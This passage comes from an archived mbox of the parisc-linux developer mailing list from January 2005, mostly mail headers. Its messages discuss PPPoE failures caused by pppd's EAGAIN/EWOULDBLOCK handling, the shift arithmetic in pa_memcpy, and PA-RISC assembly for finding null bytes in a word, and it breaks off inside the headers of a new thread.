  by mx0.gmx.net (mx027) with SMTP; 10 Jan 2005 01:12:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CBF3D3BE62; Sun,  9 Jan 2005 17:12:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08988-10; Sun, 9 Jan 2005 17:12:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 53A293BE6B; Sun,  9 Jan 2005 17:12:30 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 490063BE64
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 17:12:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08988-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Jan 2005 17:12:25 -0700 (MST)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.207])
	by free.linux.hp.com (Postfix) with ESMTP id 02A3B3BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 17:12:24 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id 36so210813wra
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 09 Jan 2005 16:12:24 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references;
	b=Dll0ispOVZP4O2Z/WGkYOP4BEq3hV7McI1CdGjgN/FxeWxVaOfw0hwWkY9MIvF2v7PGF5TW4dQpyBVglZ1yyJTqX+twa/SFh0HlwMAtFxy5yFUW9kWY4RkbC4egdyHqpEgzCoTlqL2Fkif+TkIy62ZufMEr3CmXMJ788UXiLuFA=
Original-Received: by 10.54.27.49 with SMTP id a49mr109151wra;
	Sun, 09 Jan 2005 16:12:24 -0800 (PST)
Original-Received: by 10.54.57.23 with HTTP; Sun, 9 Jan 2005 16:12:24 -0800 (PST)
In-Reply-To: <BAY21-F174616CDCA2C6E4FFCB76892960@phx.gbl>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22271

On Sun, 09 Jan 2005 23:00:33 +0000, Dany Joly <dany_joly@hotmail.com> wrote:
 
> I have a HP B 180L running with Woody. Connecting the machine to an
> ethernet connection works very well. My problem is with PPOE.
> I recently switched ISP and I now use ADSL. Since then, I am unable 
> to access the Internet from this machine. I write to this forum rather than to a 
> general linux forum because when searching Google with "/dev/ppp: 
> Resource temporarily unavailable", I only get links related to PARISC.

Me too :-/

Sorry, I probably can't be offer much help here. PPPoE is working fine here
(C3000 running Debian/testing, kernel 2.6.10-rc3-pa2). You haven't specified
what kernel you are using, but since you are running woody, I'm pretty sure it 
must be a 2.4.x kernel.
However I also don't have any troubles with PPPoE and 2.4.25-pa1, so it
might either it is a problem with the (PPPoE) packages in woody, 
or have a too old kernel, or a h/w issue or something else.
Although there are some arch differences between your B180L and my
C3000, I somehow doubt that this has anything to do with this.

NB. I'm using a "Intel EtherExpress 100 Pro" as my 2nd network card.

It would be nice if you could provide more information about your system,
eg. the kernel version, the compiler you used to compile your kernel
(in case you compiled it yourself), the kind of network cards, and perhaps also
your kernel config.

IMHO I'd say you should try upgrading to Debian/testing if you cannot solve 
your problem otherwise. You might also want to try a 2.6 kernel in this case,
since nobody (of the parisc hackers) really cares about 2.4 anymore.

Greetings,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: pa_memcpy: 2 small question
Date: Sun, 9 Jan 2005 16:13:56 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <20050110001356.GO18497@tausq.org>
References: <20050105055412.68E06495698@palinux.hppa>
	<20050107095143.GN18497@tausq.org> <41E180EF.8040808@tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623645 12504 80.91.229.3 (22 Nov 2014 02:34:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2005 00:14:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx067) with SMTP; 10 Jan 2005 01:14:15 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7EE2D3BE68; Sun,  9 Jan 2005 17:14:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09624-07; Sun, 9 Jan 2005 17:14:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A82B23BE75; Sun,  9 Jan 2005 17:14:05 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CD793BE72
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 17:14:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09624-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Jan 2005 17:13:59 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 586DE3BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 17:13:59 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id A6E2F6C065; Sun,  9 Jan 2005 16:13:56 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <41E180EF.8040808@tiscali.be>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22272

> in the shift computing:
>         /* Calculate how to shift a word read at the memory operation
>            aligned srcp to make it aligned for copy.  */
>         sh_1 = 8 * (src % sizeof(unsigned int));
>         sh_2 = 8 * sizeof(unsigned int) - sh_1;
> 
> what means '8' (== 2 * word size; i.e. 2 * 32 bit because MERGE use shrpw 
> and so 2 (a pair of word)? )

no. 8 is # bits/byte. sh_1 is the number of bits to shift a 32-bit
integer.

what we are trying to achieve is that given two adjacent 32-bit numbers,
we want to extract a 32-bit number "in the middle" of the two (aligned)
32-bit values.

if you look carefully, actually the implementation of MERGE does not use
both sh_1 and sh_2. In the original implementation, MERGE was
implemented using two SHIFT operations plus an OR operation. This was
optimized to use shrpw because this PA insn can do all three operations
in a single step, so it saves a lot of cycles.

> next in
>          switch (len % 4)
>         {
> 
> is '4' because as mentioned in copy_dstalign() description this 'Handles 
> _4_ words per loop'

yes.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PPPOE with BL180
Date: Sun, 09 Jan 2005 18:18:21 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <1105316302.19504.1.camel@mulgrave>
References: <BAY21-F174616CDCA2C6E4FFCB76892960@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623645 12505 80.91.229.3 (22 Nov 2014 02:34:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:05 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Dany Joly <dany_joly@hotmail.com>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2005 00:18:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 10 Jan 2005 01:18:46 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9E1E53BE64; Sun,  9 Jan 2005 17:18:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09655-10; Sun, 9 Jan 2005 17:18:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DF8AC3BE73; Sun,  9 Jan 2005 17:18:34 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D57A3BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 17:18:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09624-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Jan 2005 17:18:30 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 02FF23BE64
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 17:18:29 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j0A0IRH06126; Sun, 9 Jan 2005 19:18:27 -0500
In-Reply-To: <BAY21-F174616CDCA2C6E4FFCB76892960@phx.gbl>
X-Mailer: Evolution 2.0.2 (2.0.2-3) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22273

On Sun, 2005-01-09 at 23:00 +0000, Dany Joly wrote:
> Nov  9 03:16:34 mammoth pppd[392]: Using interface ppp0
> Nov  9 03:16:34 mammoth pppd[392]: Connect: ppp0 <--> /dev/pts/0
> Nov  9 03:16:34 mammoth pppd[392]: read: Resource temporarily unavailable
> Nov  9 03:16:34 mammoth pppd[392]: read /dev/ppp: Resource temporarily 
> unavailable

I think this should be fixed (at least in the latest sarge version).
pppd used to do this because EAGAIN and EWOULDBLOCK have different error
numbers on pa (and pppd was originally only checking for one).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: pa_memcpy: 2 small question
Date: Mon, 10 Jan 2005 18:12:24 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <41DE941900000C83@mail-5-bnl.tiscali.it>
References: <20050110085446.GS18497@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623646 12511 80.91.229.3 (22 Nov 2014 02:34:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2005 17:11:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 10 Jan 2005 18:11:33 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 89CE33BE75; Mon, 10 Jan 2005 10:11:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19466-05; Mon, 10 Jan 2005 10:11:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B5F103BE76; Mon, 10 Jan 2005 10:11:17 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD7F43BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 10:11:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18789-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 10:11:12 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (unknown [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id 2B5FE3BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 10:11:11 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.121)
	by mail-r3.tiscali.it with ESMTP; 10 Jan 2005 18:11:11 +0100
Original-Received: from mail-5-bnl.mail.tiscali.sys ([10.39.115.135]
	helo=mail-5-bnl.tiscali.it)
	by mrq-1.tiscalinet.it with esmtp (Exim 4.43)
	id 1Co34O-0002xu-DR; Mon, 10 Jan 2005 18:11:09 +0100
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Mon, 10 Jan 2005 18:12:24 +0100
In-Reply-To: <20050110085446.GS18497@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22274

btw I just recover the libc _wordcopy_fwd_dest_aligned()

> 
> > I need obvioulsy to understand those details beacuse to work with str=

I
> would
> > need to check somehow if there are a byte =3D=3D 0 in the on going wo=
rd (I
> already
> > find a formula to do this into other arch) to jump to byte_copy (so n=
eed
> > more work ;-)
> 
> maybe you can use something like (not tested):
> 
> loop:
> ldw 0(source),tmp
> uaddcm,nbz tmp,%r0,%r0
mmm I always confused by %r0: is a magic one containing zero (when read i=
irc)
what uaddcm is suposed to do:  tmp + ~%r0 (i.e. tmp+0xffffffff)? well hav=
e
to study ;-)
well any way if no trap occurs the results is put in %r0: I don't yet wel=
l
understand this usage of %r0 as target reg (excepted for prefetching)?

> b,n byte_copy
> b loop
> stw tmp, 0(dst)
> 
> byte_copy:
> ....
> 
> uaddcm should be able to let you determine if there are any 0's in the
> current word in a single insn.
> 
Thanks ...
I still trying to understand the previous formula I found somewhere :
	; NOTE: If a null char. exists, return 0.
	; if ((x - 0x01010101) & ~x & 0x80808080)
	;     return 0;
(here it comes from m32r/lib/useropcy.c)

Joel

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pa_memcpy: 2 small question
Date: Mon, 10 Jan 2005 10:17:10 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20050110171710.GC16091@colo.lackof.org>
References: <20050110085446.GS18497@tausq.org>
	<41DE941900000C83@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623646 12515 80.91.229.3 (22 Nov 2014 02:34:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2005 17:17:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 10 Jan 2005 18:17:33 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6701F3BE76; Mon, 10 Jan 2005 10:17:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20665-01; Mon, 10 Jan 2005 10:17:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 38A043BE77; Mon, 10 Jan 2005 10:17:20 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B2943BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 10:17:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19466-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 10:17:12 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 31B803BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 10:17:12 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 78E8E29803A;
	Mon, 10 Jan 2005 10:17:11 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16320-01; Mon, 10 Jan 2005 10:17:10 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9D33D298033; Mon, 10 Jan 2005 10:17:10 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <41DE941900000C83@mail-5-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22275

On Mon, Jan 10, 2005 at 06:12:24PM +0100, Joel Soete wrote:
> well any way if no trap occurs the results is put in %r0: I don't yet well
> understand this usage of %r0 as target reg (excepted for prefetching)?

writes to %r0 are simply discarded.
It's a handy target when we don't care about the result since
it will not cause any interlocks with previous or succesive instructions.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strange top behaviour (since around 2.6.10-pa6?)
Date: Mon, 10 Jan 2005 18:19:54 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <41DE941900000C88@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623646 12516 80.91.229.3 (22 Nov 2014 02:34:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2005 17:18:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 10 Jan 2005 18:18:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 880CC3BE77; Mon, 10 Jan 2005 10:18:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20574-08; Mon, 10 Jan 2005 10:18:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EB1963BE7D; Mon, 10 Jan 2005 10:18:47 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB7413BE77
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 10:18:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
